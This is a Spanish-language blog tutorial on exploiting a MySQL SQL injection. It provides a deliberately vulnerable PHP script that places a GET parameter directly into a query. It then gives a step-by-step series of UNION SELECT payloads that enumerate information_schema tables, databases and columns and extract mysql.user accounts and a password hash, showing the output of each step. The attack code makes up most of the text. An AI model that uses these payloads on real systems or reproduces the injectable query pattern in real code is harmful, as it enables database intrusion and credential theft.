Suponiendo que tenemos una SQL Injection, pero no encontramos datos útiles, para ello tenemos muchas opciones que muchas veces están por default en los servidores, y otras tablas de administradores de archivos/bases de datos, también nos son útiles:

  • information_schema
  • mysql
  • etc....
Comenzaremos con la information_schema:

Tablas:

CHARACTER_SETS
COLLATIONS
COLLATION_CHARACTER_SET_APPLICABILITY
COLUMNS
COLUMN_PRIVILEGES
KEY_COLUMN_USAGE
PROFILING
ROUTINES
SCHEMATA
SCHEMA_PRIVILEGES
STATISTICS
TABLES
TABLE_CONSTRAINTS
TABLE_PRIVILEGES
TRIGGERS
USER_PRIVILEGES
VIEWS


Comenzaremos identificando las tablas que hay y en que DB's se encuentran, pero para ello necesitamos un script vulnerable para practicar:


Estructura de la DB:

use test;
CREATE TABLE `usuarios` (
`id` int(11) NOT NULL auto_increment,
`nombre` varchar(180) NOT NULL default '',
`email` varchar(50) NOT NULL default '',
PRIMARY KEY (`id`)
);
insert into usuarios values
(1, 'xianur0', 'uxmal666@gmail.com');
insert into usuarios values
(2, 'UxMal', 'uxmal666@gmail.com');

vuln.php

<?php
$id = $_GET['id'];
$conexion
= mysql_connect("localhost", "xianur0","mipassword");
mysql_select_db("test", $conexion);
$consulta
= "SELECT * FROM usuarios Where id = $id";
$resultado
= mysql_query($consulta, $conexion) or die(mysql_error());
$todo
= mysql_num_rows($resultado);
if ($todo> 0) {
$row = mysql_fetch_assoc($resultado);
echo "<strong>".$row['id']."</strong><br>";
echo "Nombre: ".$row['nombre']."<br>";
echo "Email: ".$row['email']."<br><br>";
}
?>

Hacemos la Consulta: http://127.0.0.1/vuln.php?id=1

Resultado:

1
Nombre: xianur0
Email: uxmal666@gmail.com

Comenzamos a Inyectar:

http://127.0.0.1/vuln.php?id=-1/**/UNION/**/SELECT/**/1,1

Resultado:
The used SELECT statements have a different number of columns

Podemos usar el fuzzer que también esta en este blog o hacerlo manualmente (como prefieran):

http://127.0.0.1/vuln.php?id=-1/**/UNION/**/SELECT/**/1,1,1

Resultado:

1
Nombre: 1
Email: 1

Comenzamos a Sacar Datos:

http://127.0.0.1/vuln.php?id=-1/**/UNION/**/SELECT/**/1,2,table_name/**/FROM/**/information_schema.tables

Resultado:

1
Nombre: 2
Email: CHARACTER_SETS

Bueno al no haber un error SQL y al responder con el nombre de una tabla, quiere decir que existe information_schema (valgame la redundancia), sigamos inyectando:

http://127.0.0.1/vuln.php?id=-1/**/UNION/**/SELECT/**/TABLE_SCHEMA,2,table_name/**/FROM/**/information_schema.tables

Donde: TABLE_SCHEMA es la DB y table_name es el nombre de la tabla.

Resultado:

information_schema
Nombre: 2
Email: CHARACTER_SETS

ya tenemos la primera tabla de esa DB (el information_schema no esta considerando la DB test).

http://127.0.0.1/vuln.php?id=-1/**/UNION/**/SELECT/**/TABLE_SCHEMA,2,table_name/**/FROM/**/information_schema.tables/**/WHERE/**/table_name/**/NOT/**/IN/**/('CHARACTER_SETS')


Resultado:

information_schema
Nombre: 2
Email: COLLATIONS

ahora que si lo que queremos es saber cuales bases de datos existen:

http://127.0.0.1/vuln.php?id=-1/**/UNION/**/SELECT/**/TABLE_SCHEMA,2,table_name/**/FROM/**/information_schema.tables/**/WHERE/**/TABLE_SCHEMA/**/NOT/**/IN/**/('information_schema')

Resultado:

mysql
Nombre: 2
Email: db

Bueno tenemos ya 2 bases de datos:
mysql e information_schema, sigamos:

http://127.0.0.1/vuln.php?id=-1/**/UNION/**/SELECT/**/TABLE_SCHEMA,2,table_name/**/FROM/**/information_schema.tables/**/WHERE/**/TABLE_SCHEMA/**/NOT/**/IN/**/('information_schema','mysql')

Resultado:

phpmyadmin
Nombre: 2
Email: xianur0_bookmark

http://127.0.0.1/vuln.php?id=-1/**/UNION/**/SELECT/**/TABLE_SCHEMA,2,table_name/**/FROM/**/information_schema.tables/**/WHERE/**/TABLE_SCHEMA/**/NOT/**/IN/**/('information_schema','mysql','phpmyadmin')

Resultado:

test
Nombre: 2
Email: usuarios


Bueno ahí esta la tabla inicial y la DB inicial...

http://127.0.0.1/vuln.php?id=-1/**/UNION/**/SELECT/**/TABLE_SCHEMA,2,table_name/**/FROM/**/information_schema.tables/**/WHERE/**/TABLE_SCHEMA/**/NOT/**/IN/**/('information_schema','mysql','phpmyadmin','test')

Y ahora no nos devolverá nada (ya no hay base de datos), ahora vamos por columnas:

http://127.0.0.1/vuln.php?id=-1/**/UNION/**/SELECT/**/TABLE_SCHEMA,TABLE_NAME,COLUMN_NAME/**/FROM/**/information_schema.columns

Resultado:

information_schema
Nombre: CHARACTER_SETS
Email: CHARACTER_SET_NAME

No es de gran utilidad esa informacion, pero si hacemos una sentencia mas exacta:

http://127.0.0.1/vuln.php?id=-1/**/UNION/**/SELECT/**/TABLE_SCHEMA,TABLE_NAME,COLUMN_NAME/**/FROM/**/information_schema.columns/**/WHERE/**/TABLE_SCHEMA/**/=/**/'test'

Resultado:

test
Nombre: usuarios
Email: id

Base de datos: test
Tabla: usuarios
Columna: id

Esto funciona como queremos por que solo existe una tabla en nuestra base de datos test, pero si existiese mas de una tabla y queremos saber específicamente las columnas de la tabla usuarios:

http://127.0.0.1/vuln.php?id=-1/**/UNION/**/SELECT/**/TABLE_SCHEMA,TABLE_NAME,COLUMN_NAME/**/FROM/**/information_schema.columns/**/WHERE/**/TABLE_SCHEMA/**/=/**/'test'/**/AND/**/TABLE_NAME/**/=/**/'usuarios'

ahora saquemos la siguiente:

http://127.0.0.1/vuln.php?id=-1/**/UNION/**/SELECT/**/TABLE_SCHEMA,TABLE_NAME,COLUMN_NAME/**/FROM/**/information_schema.columns/**/WHERE/**/TABLE_SCHEMA/**/=/**/'test'/**/AND/**/TABLE_NAME/**/=/**/'usuarios'/**/AND/**/COLUMN_NAME/**/NOT/**/IN/**/('id')

Resultado:

test
Nombre: usuarios
Email: nombre

Yo se que hay mil y una forma de obtener este resultado, pero no iré a conceptos, simplemente hablare de la técnica.

Ahora que para sacar las DB hay una forma mas facil (también basándose en el information_schema), esta otra forma es mediante la tabla schemata:

http://127.0.0.1/vuln.php?id=-1/**/UNION/**/SELECT/**/SCHEMA_NAME,DEFAULT_CHARACTER_SET_NAME,DEFAULT_COLLATION_NAME/**/FROM/**/information_schema.schemata

y bueno el resto ya lo saben..

Busquen en google la estructura del information_schema o bien instalen el xampp (ese trae information_schema por default)

Ahora vamos con mysql

http://127.0.0.1/vuln.php?id=-1/**/UNION/**/SELECT/**/User,Select_priv,Host/**/FROM/**/mysql.user

Resultado:

root��������������������������������������������
Nombre: Y
Email: localhost


podríamos intentar sacar la password, pero no en todos los MySQL Funciona...

http://127.0.0.1/vuln.php?id=-1/**/UNION/**/SELECT/**/User,Password,Host/**/FROM/**/mysql.user


xianur0
Nombre: *CEE870801502ACAD44FA46CA2CA4F58C2B721A67
Email: localhost

El password que obtuvimos (si es que lo permitió el MySQL) esta encriptado por la funcion password() de mysql (no dire en este texto como desencriptarlo).

Obtengamos información:

http://127.0.0.1/vuln.php?id=-1/**/UNION/**/SELECT/**/User,Db,Select_priv/**/FROM/**/mysql.db

Resultado:

pma
Nombre: mysql
Email: N


Bueno hasta aquí dejare este texto, pero seguiré escribiendo algunas cosas útiles cuando tenga tiempo....

By Xianur0
http://xianur0.blogspot.com

1 comentarios:

Anónimo dijo...

hola, muy bueno el blog, si lo deseas, ingresa a mi pagina. a publicar un comentario. saludos.